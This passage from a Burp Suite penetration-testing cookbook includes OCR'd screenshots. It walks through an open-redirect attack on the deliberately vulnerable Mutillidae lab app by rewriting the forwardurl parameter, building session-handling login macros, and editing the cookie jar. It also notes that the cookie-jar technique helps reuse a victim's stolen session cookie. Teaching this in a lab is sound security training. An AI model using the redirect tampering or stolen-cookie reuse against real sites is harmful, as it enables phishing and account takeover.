text/html,application/xhtml+xml, application/xml;q=0.9,image/avif, image /web mod mono/2.4.3
P,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 PHP/5.3.2-lubuntu
€ Referer: http://182.168.29.128/mutillidae/index.php?page=credits.php 4.30 with
7 Accept-Encoding: gzip, deflate Suhosin-Patch
2 Accept-Language: en-US,en;qg=0.9,en-CA;qg=0. proxy_html/3.0.1
S Cookie: showhints=1; security_level=0; PHPSESSID= mod_python/3.3.1
vZiieab3vvghsninen0Brrfrg5; acopendivids=swingset,jotto,phpbbZ,redmine; Python/2.E6.5
acgroupsvithpersist=nada mod_ss1/2.2.14

Figure 9.37 — Call to an external link
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4. Switch to the Burp Suite Proxy | Intercept tab. Turn Intercept on with the Intercept is on button.
5. Click the ISSA Kentuckiana link again. While the request is paused, note the current value of

the forwardurl parameter:

.

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.5.3 - second_edition... — [m]

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder {0}
Comparer Logger Organizer Extensions Learn

HTTP history WebSockets history {8} Proxy settings

7 Request to http://192.168.20,128:80

Forward [ Drop | |

Pretty Raw Hex a Wno =

1 GET fnrutulidae}index.php?paqe:reditectamuag.phpi:arwardurl:http:wa.issa—l:entuckiana..otgl
HTTP/L.1

Host: 192.1€8.29.128

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKits537.36 (FKHTML, like Gecko)

Chrome/114.0.5735.110 Safari/537.36

5 Accept:
text/htnl,application/xhtml+xml , application/xml;q=0.9,image/avif, image /webp, inage/apng, */*;q=0.8,a
pplication/signed-exchange ;v=b3;q=0.7

€ Referer: http://192.168.29.128/mutillidae/index.php?page=credits.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=1; security level=0; PHPSESSID=vZiieab3vvghsnjnen08rrfrgS; acopendivids=

swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada

10 Connection: close

11

FN TN N

J

w o

Figure 9.38 — Changing the original value

6. Replace the value of the forwardurl parameter to https://www.owasp.org instead

of the original choice of http://www.issa-kentuckiana.org:

| Action Open bro... Comment this item W HITR/
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition.. — ]
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder {5}
Comparer Logger Organizer Extensions Learn
HTTP history WebSockets history {5} Proxy settings
/P Request to http://192.168.29,128:30
Forward | Drop | Action Open bro... | Comment this item W  HTR/
Pretty Raw Hex W =

1 GET /mutillidae/index.php?page=redirectandlog. php*to:uardur.l:ht.tps: J/uww. owasp.org I HITP/1.1
Host: 192.168.29.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.5735.110 Safari/537.36

Accept:

5 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7

Referer: http://192.1608.259.128/mutillidae/index.php?page=credits.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=l; security level=0; PHPSESSID=viiieab3vvghsnjnenO8rrfrgS; acopendivids=
swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada

Connection: close

LT N N

@ =1 M

w

Figure 9.39 — Changing to an attacker-controlled value

7. Click the Forward button. Now, turn Intercept off by clicking the toggle button to Intercept
is off. Note how we were redirected to a site other than the one originally clicked!

[ & (& ‘@ ® ﬂl https://www.owasp.org/lw“ndex‘php/Maianage El e @ %

The OWASP Foundation
the free and open software security community

Home
About OWASP

Acknowledgements About + Searching + Editing * New Article - OWASP Categories . CONTACT-US&
Advertising

AppSec Events
Books REGISTER NOW!&

Brand Resources
Chapters

Donate to OWASP D l I I H S p
Downloads

Figure 9.40 — Evidence of redirection
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How it works...

Application code decisions, such as where to redirect a user, should never rely on client-side available
values. Such values can be tampered with and modified to redirect users to attacker-controlled websites

or to execute attacker-controlled scripts.






10
Working with Burp Suite

Macros and Extensions

This chapter covers two separate topics that can also be blended together: macros and extensions.
Burp Suite macros enable penetration testers to automate events, such as logins or parameter reads, to

overcome potential error situations. Extensions, also known as plugins, extend the core functionality
found in Burp.

In this chapter, we will cover the following recipes:

Creating session-handling macros

Getting caught in the cookie jar

Adding great pentester plugins

Creating new issues via the Add & Track Custom Issues extension
Working with the Active Scan++ extension

Using Burp Suite extensions for bug bounties

Technical requirements

In order to complete the recipes in this chapter, you will need the following:

OWASP Broken Web Applications (BWA)
OWASP Mutillidae (http://<Your VM Assigned IP Address>/mutillidae)
GetBoo (http://<Your VM Assigned IP Address>/getboo)

Burp Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/
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Creating session-handling macros

In Burp Suite, the Project options tab allows testers to set up session-handling rules. A session-handling
rule allows a tester to specify a set of actions Burp Suite will take in relation to session tokens or cross-
site request forgery (CSRF) tokens while making HTTP requests. There is a default session-handling
rule in scope for Spider and Scanner. However, in this recipe, we will create a new session-handling
rule and use a macro to help us create an authenticated session from an unauthenticated one while
using Repeater.

Getting ready

Using the OWASP Mutillidae IT application, we will create a new Burp Suite session-handling rule,
with an associated macro, to create an authenticated session from an unauthenticated one while
using Repeater.

How to do it...

1. Navigate to the Login page in Mutillidae. Log in to the application with the username ed with
the password pentest:

OWASP Mutillidae Il: Web Pwn in Mass Production

on: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) NotLogged In

Show Popup Toggle View Captured

Hints Security Data

[ Please sign-in J

Username (ed )

=
=3
I
w

Password [ ]
ed: Dont have an account? Please register here
aper

Figure 10.1 - Logging in as ed/pentest
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2. Immediately log out of the application by clicking the Logout button, and make sure the
application confirms you are logged out:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Logged In User: ed (Commandline
KungFu anyone?)

Home | Logout | Toggle Hints Show Popup Hints Toggle Security Drop SSL. Reset DB View Log View Captured Data

Figure 10.2 - Logging out

3. Switch to Burp Suite’s Proxy | HTTP history tab. Look for the logout request you just made
along with the subsequent, unauthenticated GET request. Select the unauthenticated request,
which is the second GET request. Right-click and send that request to Repeater, as follows:

Dashboard Target | Proxi I Intruder Repeater Collaborator Sequencer Decoder Compar

Intercept | HTTP history | WebSockets history {S} Proxy settings

Filter: Hiding C55, image and general binary content

# Host Method URL
1691 https://192.168.29.128 [ GET  /mutillidae/index.php?page=login.php&popUpNatificationCode=LOU1 |
690 https://192.168.29.128 GET /mutillidae/index.php?do=logout
Request Response
Pre Raw Hex = N = Pretty Raw Hex
1 GET /mutillidae/index.php?page=login.phpspopUpNotificationCode= 1 HTTP/1.1 200 DK
LOUl HTTP/1.1 2 Date: Sat, 10 Jun 20
2 Host: 192.168.29.128 3 Server: Apache/2.2.1
3 Cookie: showhints=l; security level=0; PHPSESSID= mod_ss1/2.2.14 OpensS
v2iieab3vvghsnjnen0BrrfrgS; acopendivids= 4 X-Powered-By: PHP/S.
swingset,jotto,phpbbl,redmine; acgroupswithpersist=nada 5 Logged-In-User:

4 Upgrade-Insecure-Requests: 1 S \ codin
5 User-Agent: Mozilla/5.0 (Windows NT 10.0: Winé4: x£4) Sk | so3
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1] Do passive scan se
Safari/537.3€ ; ext/h

¢ Accept: Do active scan

text/html, application/xhtml+xml, application/xml;g=0.9, image¢ Send to Intruder Ctrl+

mage /webp, inage /apng, */*;q=0.8,application/signed-exchange|
0.7 Send to Repeater Ctrl+R  |PUBLI

Figure 10.3 - Sending a GET request to Repeater

4. Switch to Burp Suite Repeater, then click the Send button. On the Render tab of the response,
ensure you receive a Not Logged In message. We will use this scenario to build a session-handling
rule to address the unauthenticated session and make it an authenticated one, as follows:
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e e e

il (250 a5 (D 5= e o) +

Request Response

g Raw  Hex =2 " = Pretty  Raw  Hex Render
1 GET /mutillidae/index.php?page=login.phps

Extensions.

Learn

Software Vulnerability Scanner

GAP

popUpNotificationCode=LOUL HITP/1.1
2 Host: 192
¢ Coockie
v2iieab3vvghsninen08rrfrgs
swingset,jotto,phpbb2, redn.
4 Upgrade-Insscure-Requests: L

opendivids=

e; acgroupsvithpersist=nada PrOdUCtion

oo i N ) Q}e OWASP Mutillidae Il: Web Pwn in Mass
showhints=1; security level=0; PHPSESSID=

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.5735.110 Safari/537.36

Version: 2.6.24  Security Level: 0 (Hosed)

Hints: Enabled (1 - 5cript K1dd1e)

—————
Not Logged In

& Accept:

text/htnl, application/xhtnl+xnl,application/xnl;q=0.9,1in
age/avif,image /vebp,image/apng,*/*;q=0.8,application/sig

ned-exchange ;v=b3;q=0.7
7 Sec-Fetch-Site: same-oriain

. g Toggle  Show Popup Toagle Reset  View  View Captured
Home Login/Register .+ Hints Security DB Log Data

[

I Anin 1

Figure 10.4 - Repeater

5. Click the Burp Suite Settings gear icon in the top-right corner:

=

ues {5} Settings

Figure 10.5 - Global Settings gear icon

6. 'Then, select the Sessions area and click the Add button under the Session handling rules

section, as follows:

Settings
pol Sessions
All User Project £
3 - | @ Session handling rules
e €9} You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (f
il parameters), and can perform actions such as adding session cookies, logging in to the application, or checking session validity. Before eac
Proxy applies in sequence each of the rules that are in-scope for the request. Use these settings to manage your active session handling rules,
Rt Enabled Description Tools
Repeater Edit Use cookies from Burp's cookie jar Scanner
Sequencer RERE0E
" »
Burp's browser Duplicate
> Project
roje up
> Network

> Userinterface
> Suite

Fetencione

Use the sessions tracer to monitor or troubleshoot the behavior of your session handling rules.

Open sessions tracer

Figure 10.6 — Adding a new session-handling rule
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7.  After clicking the Add button, a pop-up box appears. Give your new rule a name, such as
LogInSessionRule, and under Rule actions, select Run a macro, as follows:

Session handling rule editor

Details Scope

@ Rule description

L-::gl'nSl:ssionRuTel

@ Rule actions

The actions below will be performed in sequence when this rule is ap

Add Enabled Description
Use cookies from the session handling cookie jar
Set a specific cookie or parameter value

Check session is valid

Prompt for in-browser session recovery
Run a macro

Figure 10.7 — Rule name and action

8.  Another pop-up box appears, which is the Session handling action editor dialog window. In
the first section, under Select macro, click the Add button, as follows:
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Session handling action editor - LoginSessionRule X

@ This action runs a predefined macro (sequence of requests) and opticnally updates parameters, headers and cookies in the current request
based on the result of the macro.

Select macro:

Edit

Note that the request currently being processed by this session handling rule will still be issued, so the macro should not include this
request unless it is necessary to issue it twice,

Update current request with parameters matched from final macro response
(®) Update all parameters and headers except for:
Edit
Update only the following parameters and headers:
Edit
Tolerate URL mismatch when matching parameters {use for URL-agnostic CRSF tokens)
Update current request with cookies from session handling cookie jar
@® Update all cookies except for:
Edit
Update only the following cookies:

After running the macro, invoke a Burp extension action handler:

0K Cancel

Figure 10.8 — Adding a new macro

9. After clicking the Add button, the macro editor appears, along with another popup of Macro
Recorder, as follows:
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Macro Recorder - Macro 1

X
@ |Macro Recorder
Select the items from the proxy history that you wish to include in the macro, and click "OK". Note that to record a macro now Intercept is off
using your browser you will need to ensure that proxy interception is turned off.
| Filter: Hiding CSS, image and general binary content |®
# Host Method URL Params Edited  Statuscode Le
691 https://192.168.29.128 GET /mutillidae/index.php?page=login.php&popUpNotif... v 200 512
690  https://192.168.29.128 GET /mutillidae/index.php?do=logout v 302 733
677  https://192.168.29.128 GET /mutillidae/javascript/gritter/jquery.gritter.min.js 200 472
Figure 10.9 - Macro Recorder
10. Inside the Macro Recorder window, look for the POST request where you logged in as ed as
well as the following GET request. Highlight both of those requests within the Macro Recorder
window and click OK, as follows:
Macro Recerder - Macro 1 X
®
Select the items from the proxy history that you wish to include in the macro, and click "OK", Note that to record a macro now Intercept is off
using your browser you will need to ensure that proxy interception is tumned off.
| Filter: Hiding CSS, image and general binary content ‘@
z Host Method URL Params Edited Statuscode Le
691 https://192.168.29.128 GET /mutillidae/index.php?page=login.php&pepUpNotif... v 200 512
690  https://192.168.29.128 GET /mutillidae/index.php?do=logout v 302 733
677 https://192,168.29.128 GET /mutillidae/javascript/gritter/jquery.gritter.min.js 200 472
670  https://192.168.29.128 [ e/ index.pl UpNotificationCode= AU 200 465
669  https://192.168.29.128 302 509

Figure 10.10 — Selected actions

11. Those two highlighted requests in the previous dialog window now appear inside the Macro
Editor window. Give the macro a description, such as LogInMacro, as follows:
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Macro Editor

@ Macro Editor

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You
the macro to confirm it is working correctly.

Macro description: | LoginMacro

Macro items:

= Host Method URL Status code
1 https://192.168.29.128 POST /mutillidae/index.php?page=login.php 302
2 https://192.168.29.128 GET

/mutillidae/index.php?popUpNotificationC... 200

Figure 10.11 - Naming your macro

12. Click the Configure item button:

Macro Editor

o s

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and cockies are
handled for each item. You can also test the macro to confirm it is working correctly.

Macro description: LoglnMacroI

Macro items:

= Host Method URL Status code Cookie | Configure item
1 https://192.168.29.128 POST - E—

/mutillidae/index.php?page=login.php 302 username, uid Move u
2 https://192.168.29.128 GET /mutillidae/index.php?popUpNotificationC... 200 P

Move down

Remove item
Figure 10.12 - Configuring your macro

You need to validate that the username and password values are correct. Click OK when this
is done, as follows:
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Configure Macro Item: POST request to https://192.168.29.128/mutillidae/index.php?page=login.php

@l Configure Macro Item

Configure how cookies and request parameters are handled for this macro item.

Cookie handling

Add cookies received in responses to the session handling cookie jar

Use cookies from the session handling cookie jar in requests

Parameter handling

page Use preset value login.php
T

username Use preset value ed

password Use preset value pentest

login-php-submit-butt... = Use preset value Login

Custom parameter locations in response

Name

Value derived from

Figure 10.13 - Login parameters set

Add
Edit

Remove

13. Click OK to close the Macro Editor window. You should see the newly created macro in the
Session handling action editor window. Click OK to close this dialog window, as follows:
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Session handling action editor - LoginSessionRule X
This action runs a predefined macro (sequence of requests) and optionally updates parameters, headers and cookies in the current request

based on the result of the macro.

Select macro:

Add LoginMacro
Edit

Note that the request currently being processed by this session handling rule will still be issued, so the macro should not include this
request unless it is necessary to issue it twice.

Update current request with parameters matched from final macro response
(® Update all parameters and headers except for:
Edit
Update only the following parameters and headers:
Edit
Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)
Update current request with cookies from session handling cookie jar

® Update all cookies except for:

Update only the following cookies:
Edit

After running the macro, invoke a Burp extension action handler:

Figure 10.14 - Closing the Session handling action editor window

14. After closing the Session handling action editor window, you are returned to the Session
handling rule editor window where you now see the Rule actions section populated with the
name of your macro. Click the Scope tab of this window to define which tool will use this rule:



Creating session-handling macros

Session handling rule editor

Details Scope

@ Rule description

LoglnSessionRule

@ Rule actions

The actions below will be performed in sequence when this rule is applied to a request.

ot Enabled Description
Edit run macro: LoglnMacro
Remove
[
Up
Down

Figure 10.15 - Identifying the scope

15. On the Scope tab of the Session handling rule editor window, uncheck the other boxes, leaving
only the Repeater box checked. Under URL scope, click the Include all URLs radio button.
Click OK to close this editor, as follows:
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Session handling rule editor X
@ Tools scope
Select the tools that this rule will be applied to.
Target Scanner Repeater
Intruder Sequencer " Extensions

Proxy (use with caution)

@ URL scope

Use the configuration below to control which URLs this rule applies to.

| @ Include all URLs

Use suite scope [defined in Target tab]

Use custom scope

@ Parameter scope

You can restrict the rule to requests containing specific parameters if required.

Restrict to requests containing these parameters:

—_

Figure 10.16 - Setting the scope

16. You should now see the new session-handling rule listed in the Session handling rules window,
as follows:

®| Session handling rules | Project setting

{é} You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tools, URLs or
parameters), and can perform actions such as adding session cookies, logging in to the application, or checking session validity. Before each request is issued, Burp
applies in sequence each of the rules that are in-scope for the request. Use these settings to manage your active session handling rules.

Add Enabled Description Tools
Edit Use cookies from Burp's cookie jar Scanner
. W Repeater
Remove
»
Duplicate
Up
Down

Use the sessions tracer to monitor or troubleshoot the behavier of your session handling rules.

Open sessions tracer

Figure 10.17 — Enabling your new rule
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17. Return to the Repeater tab where you previously were not logged in to the application. Click
the Send button to reveal that you are now logged in as ed! This means your session-handling
rule and associated macro worked:

Dashboard ~ Target  Proxy Intruder Collaborator ~ Sequencer ~ Decoder ~ Comparer  Logger ~ Organizer  Extensions  Leam  Software Vulnerability Scanner  GAP
1x 2x 3x 4x 5x 6x 1x +

I I: -
Request Response
Raw  Hex w = Pretty  Raw  Hex  Render =
1 BET /mutillidae/index.php?page=home.phps
popUpNotificationCode=HPHO HTTP/1.1 e o o
R e q;g OWASP Mutillidae Il: Web Pwn in Mass Production
vZiieab3vvghsnjnenO8rrfrgs; acopendivids=
swingset,jotto,phpbb2,rednine; acgroupswithpersist= Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) | Logged In User: ed
nada; username=ed; uid=24 (c°mmandline KungFu anyone?’
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Ving4; Toggle Show Popup View Captured
x64) AppleWsbKit/537.36 (KHTML, like Gecko) Home Logout Hints Hints Data

Chrome/114.0.5735.110 Safari/537.36

€ Accept:
text/html,application/xhtml+xml,application/xml;q=0. OWASP 2013 [

Figure 10.18 — Result of session-handling rule and associated macro

[ Mutillidaa- Naliharatalv \llnarahla Wah Dan. |

How it works...

In this recipe, we saw how an unauthenticated session can be changed to an authenticated one by
replaying the login process. The creation of macros allows manual steps to be scripted and assigned
to various tools within Burp Suite.

Burp Suite allows testers to configure session-handling rules to address various conditions that the suite
of tools may encounter. The rules provide additional actions to be taken when those conditions are met.
In this recipe, we addressed an unauthenticated session by creating a new session-handling rule that
is called a macro. We confined the scope for this rule to Repeater only for demonstration purposes.

Getting caught in the cookie jar

While targeting an application, Burp Suite captures all cookies while proxying and crawling. Burp
Suite stores these cookies in a cache called the cookie jar. This cookie jar is used within the default
session-handling rule and can be shared among the suite of Burp Suite tools, such as Proxy, Intruder,
and Repeater. Inside the cookie jar, there is a historical table of requests. The table details each cookie
domain and path. It is possible to edit or remove cookies from the cookie jar.

Getting ready

We will open the Burp Suite cookie jar and look inside. Then, using the OWASP GetBoo application,
we'll identify new cookies added to the Burp Suite cookie jar.
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How to do it...
1. Click the Burp Suite Settings gear icon in the top-right corner:

w

ues @ Settings

Figure 10.19 — Global Settings gear icon

Then, select the Sessions area and go to the Cookie jar section:

@ Cookie jar Project setting

@ Burp maintains a cookie jar that stores all of the cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain valid sessions
with applications that are being tested. You can use the settings below to control how Burp automatically updates the cockie jar based on traffic from particular tools.

Use these settings to control which tools can update the cockie jar.

Proxy Scanner Repeater

Intruder Sequencer Extensions

Open cookie jar
Figure 10.20 — Cookie jar

2. In the Cookie jar section, click the Open cookie jar button, as follows:

e @ Cookie jar

> Network @ Burp maintains a cookie jar that stores all of the cookies issued by visited web

with applications that are being tested. You can use the settings below to contr
> Userinterface

> Suite Use these settings to control which tools can update the cockie jar.
Extensions Proxy Scanner Repeater

Intruder Sequencer Extensions

(@ Configuration library

Open cookie jar

Figure 10.21 — Opening the cookie jar

3. A new pop-up box appears showing all cookies captured in Proxy. Notice each cookie has
Domain, Path, Name, and Value details identified:
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— O X
| . .
Domain Path Name Value Expires Edit cookie

192.168.29.128 showhints 1 .

. Remove cookie
192.168.29.128 security_level 0
192.168.29.128 PHPSESSID  w2iieab3wvghsnjnen08rrfrg5 Empty cookie jar
192.168.29.128 acopendivids swingset,jotto,phpbb2, redmi...
192.168.29.128 acgroupswit... nada
192.168.29.128 pma_lang en
192.168.29.128 pma collati... utf® general ci

Close

Figure 10.22 - Details of each cookie

4. Select a cookie in the list and click the Edit cookie button. For example, we can modify the
value of the PHPSESSID cookie from a random cryptographic string to thisIsMyCookie
and then click OK, as follows:

Duplicate Cookie editor X
Up | Domain: | 192.168.29.128
Down
Path: I
Use the sessionl Name: PHPSESSID g rules.
Open sessio| Falue: [ thislsMyCookie 1
Cookie jar viey - i Ll
'
Domain Path Name Value Expires ~ Edit cookie |
192.168.29.128 showhints 1 .
; Remove cookie

192.168.29.128 security level 0
192.168.29.128 ' PHPSESSID  v2iieab3vwghsnjnen08rrfrg5 I Empty cookie jar
192.168.29.128 acopendivids swingset jotto, phpbb2 redmi...
192.168.29.128 acgroupswit... nada
192.168.29.128 pma_lang en
192.168.29.128 pma collati.. utf8 general ci

Close

Figure 10.23 - Editing the PHPSESSID cookie value
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5. The value is now changed, as follows:

Cookie jar viewer - O X
Domain Path Name Value Expires Edit cookie
1192.168.29.128 showhints 1 :
| . Remove cookie
[192.168.29.128 security_level 0
1192.168.29.128 I Eﬁﬁ%‘ﬁ tﬁmmim I Empty cookie jar
1192.168.29.128 acopendivids swingset,jotto, phpbb2, redmi...
1192.168.29.128 acgroupswit... nada
1192.168.29.128 pma_lang en
1192.168.29.128 pma collati... utf@ general ci
Close

Figure 10.24 - Setting the cookie to a new value

6. The default scope for the Burp Suite cookie jar is Proxy. However, you may expand the scope
to include other tools. Click the checkbox for Repeater, as follows:

@ Cookie jar

@ Burp maintains a cookie jar that stores all of the cookies issued by visited web sit
with applications that are being tested. You can use the settings below to contro

Use these settings to control which tools can update the cookie jar.

Proxy Scanner Repeater

Intruder Sequencer _ Extensions
Open cookie jar

Figure 10.25 - Setting the scope

7. Now, if you create a new session-handling rule and use the default Burp Suite cookie jar, you
will see the new value for that cookie used in the requests. We can see this in action by turning
on our LoginSessionRule session-handling rule:
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Settings

Search j o) Sessions
All User Project T =
2 s = ©) |Session handling rules

— You can define session handling rules to make Burp perform specific actions when making HTTF

ot parameters), and can perform actions such as adding session cookies, logging in to the applicati

> Project applies in sequence each of the rules that are in-scope for the request. Use these settings to man
izl Add Enabled Description

* Network Edit Use cookies from Burp's cookie jar Scanner

| T s LogInSessionRule Repeater

Remove

Figure 10.26 - Enabling LoginSessionRule

8. Now, send an unauthenticated request to Repeater and click Send. Notice the value of your
cookie is thisIsMyCookie. This technique can be very helpful for session-hijacking attacks
when you steal the cookie of a victim and need to ensure the cookie value doesn’t change back
to your session cookie:

Dashboard Target Proxy Intruder Collaborator Sequencer Decoder Comparer  Log
Learn Auth Analyzer Software Vulnerability Scanner GAP Add & Track Custom lssues Burp Bounty Free

1 x 2 x 3 x 4 x 5 x 6 x T x 8 x +

BEle -

Request Response
Pretty Raw Hex \n = Raw Hex Render n =
GET /mutillidae/index.php?page=home.php HTTP/L.1 | HTTP/l.1 200 OK

Date: Sun, 11 Jun 2023 00:40:59 GMT

Server: Apache/Z.2.14 (Ubuntu) mod_mono/Z.4.3
PHP/5.3.2-lubuntud. 30 with Suhosin-Patch
proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 |

[N S

Host: 192.1£8.29.128
Cookie: showhints=]1.
security_level=0;
acopendivids=svingset;

L B

0 5, PHpDD

r paous
acgroupswithpersist=nada; pma_lang=en: mod_ss1/2.2.14 OpenSSL/0.S.8k
pma_collation connection=utf8_general ci Phusion_Passenger/4.0.38 mod_perl/2.0.4
4 Sec-Ch-Ua: Perl/v5.10.1

Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1

¢ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4;

X-Powered-By: PHP/5.3.Z-lubuntud. 30
Logged-In-User: ed

Vary: Accept-Encoding
Content-Length: 45552

1on

1 N e

Figure 10.27 — Result of rule and cookie jar change
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How it works...

The Burp Suite cookie jar is used by session-handling rules for cookie handling when automating
requests against a target application. In this recipe, we investigated the cookie jar, understood its
contents, and even modified one of the values of a captured cookie. Any subsequent session-handling
rules that use the default Burp Suite cookie jar will see the modified value in the request.

Adding great pentester plugins

As web application testers, you will find handy tools to add to your repertoire to make your assessments
more efficient. The Burp Suite community offers many wonderful extensions. In this recipe, we will
add a couple of them and explain how they can make your assessments better. Get All Params (GAP)
and Software Vulnerability Scanner are the two plugins we will add to Burp Suite and use with the
passive scanner.

Note

Both plugins require the Burp Suite Professional version.

Getting ready

Using the OWASP Mutillidae II application, we will add two handy extensions that will help us find
more vulnerabilities in our target.

How to do it...

1. The first extension, GAP-Burp-Extension, is available at the following GitHub repository:
https://github.com/xnl-h4ck3r/GAP-Burp-Extension. Install Git on Linux
or Git for Windows (https://gitforwindows.org/). Then, using thegit clone
https://github.com/xnl-h4ck3r/GAP-Burp-Extension.git command,
download the repo to your local system.

2. Change directory into GAP-Burp-Extension after the download of the repo. Make note of
the location of the GAP . py file. This is the file you will load into Burp Suite to use the extension:


https://github.com/xnl-h4ck3r/GAP-Burp-Extension
https://gitforwindows.org/
https://github.com/xnl-h4ck3r/GAP-Burp-Extension.git
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« git_repos *|GAP-Burp-Extension p

s

L)
MName

ait
GAP
[ E .gitignore
i GAP Help.md
# GAP.py |

[¥] README.md

Figure 10.28 - Python script to run GAP

Note that you must have Jython installed prior to using the GAP extension. To install Jython,

3.
go to the Extensions | Extensions settings gear icon and click the icon:

Dashboard Target Proxy Intruder Repeater

Logger Organizer Learn Software Vul

Installed BApp Store APls @ Extensions settings

AN Total estimated system impact:  Low SIS
Figure 10.29 - Extension settings

Go to the Jython site (https: //www. jython.org/) and download the standalone Jython
JAR file:

4.


https://www.jython.org/
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& C' @ jython.org/download

w

Home News Download Documentation ¥ Development ¥

Current Version

The current version of Jython is 2.7.3. It can be downloaded here:

e Jython Installer: Use this to install Jython. (metadata)

e Jython Standalone:|Use this to run Jython without installing or to embed Jytt

application. (metadata)

* You may cite Jython 2.7.3 as a dependency in your Maven or Gradle build.

Figure 10.30 - Downloading Jython

5.  Set the location of your standalone Jython JAR file in the Python environment section:

on environment i
> Suite @ Pyth User setting

{C:’} Use these settings to configure the environment that should be used to execute extensions that are written in Python. To use Python extensions, you will need to

Extensions download Jython, which is a Python interpreter implemented in Java.

[ Configuration library Location of Jython standalone JAR file:

Ci\git_repos\jython-burp-api\jython-standalone-2.7.2 jar Select file ...

Figure 10.31 - Configuring Jython

6. Once configured, close the Extension settings pop-out window by clicking the X sign in the
top-right corner of the window:
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Manage global settings

Clost

User setting

Figure 10.32 — Closing the settings

After configuring, go to the Burp Suite | Extensions tabs and select the Installed tab. Click
Add and change the Extension type value to Python. Browse to the location of the GAP . py
file inside the GAP-Burp-Extension directory on your local system. You may also need
to perform a Python pip command to install the requirements for GAP on your local system,
as follows: java -jar jython-standalone-2.7.3.jar -m pip install -r
requirements. txt (source: https://github.com/xnl-h4ck3r/GAP-Burp-
Extension):

Installed

A~ Total esti

Burp extensi

Extensions let y

Add |
Remove
Up

Down

Details

Extension

MName: | GAP

Load Burp extension

Please enter the details of the extension, and how you would like to handle standard output

Extension details

Extension type:

Extension file (.py):

Standard output

Python +

Qutput to system console

Save to file:

® Show in Ul

Standard error

Select file ...

GAP-Burp-Extension

ore

e Look In:
Vaadd —
=S :
Recent g
_| GAP
- =] .qitign
Desktop

¥|_GAP Meip.md
| [# GAP.py |

'#| README.md

Figure 10.33 - Installing the extension
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7. Make sure the extension is enabled by seeing the box checked next to its name within the Burp

Suite Extensions area:

Dashboard Target Proxy Intruder Repeater Collaborator

Logger Organizer Learn Software Vulnerability Scanner

BApp Store APls {C) Extensions settings

R\ Total estimated system impact:  Low @D

Burp extensions

Extensions let you customize Burp's behavicr using your own or third-party code,

Add Loaded Type
T Java Burp Bounty, Scan Check Builder
Y, nty Pro
Up ﬁ Python GAP i
— - Java Auth Analyzer

Details Output Errors

Extension loaded

Name

Name: | GAP
ltem
Extension type Python
Method registerExtenderCallbacks
Scope change listeners 1
Context menu providers 1
Suite tabs 1

Figure 10.34 - Enabling the extension

Sequencet
GAP

Detail

8. After the extension is loaded and enabled, notice you have a new GAP tab at the top of the

Burp Suite menu of tools:
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - 5

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer
Extensions Learn Software Vulnerability Scanner

Figure 10.35 - New GAP tab

9. Let’s run GAP on our Mutillidae target. Go to Target | Site map, right-click on the root directory
of the application, and select Extensions | GAP:

Dashboard Proxy Intruder Repeater Collab

Extensions Learn Software Vulnerability Scanner GAP

Issue definitions {S) Scope settings

Filter: Hiding not found items; hiding empty folders

[ joomla Contents
« 1 jquery.min.js Host Met
[0 mandiant-struts-forms.html http://192.168.29.128 GET
D o http://192.168.29.128 GET
- http://192.168.29.128 GET
U mutillidae http://192.168.29.128  GET
v [ mutillid 128 GET
o>/ e http://192.168.29.128/mutillidae |28 GET
Add to scope 128 GET
« > [ docu = : 128 GET
an |
» [ fram 128 GET
Passively scan this branch 128 GET
« > [0 imag _ : :
Actively scan this branch 128 GET
* > [ inclu — > GAP

—_—

Figure 10.36 — Invoking the GAP extension against the target

10. Now; select the GAP tab at the top of your Burp Suite tools. Notice the list of potential parameters
GAP found. Our ToolID identifier is present, which we used to exploit in a previous recipe!
Also, notice all links GAP found for you. These are new attack vectors you can use to widen
your scope for finding bugs:
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Dashboard Target Proxy Intruder Repeater Collaborator Sequencer  Decoder Comparer Logger QOrganizer Extensions Lean {5} Settings
Software Vulnerability Scanner

Select param types you want to retrieve: | Potential parameters found - 116 unique:
REQUEST PARAMETERS RESPONSE PARAMETERS " PathToDocument
Query string params JSON params
ToollD |
Message body params Value of tag attri within XML =
ot
Param attribute within a multi-part message body Name and Id attributes of HTML input fields :ﬂ:::
JSON params Javascript variables and constants add-to-your-blog-php-submit-button
add_imageurl
Cookie names Name attribute of Meta tags admin
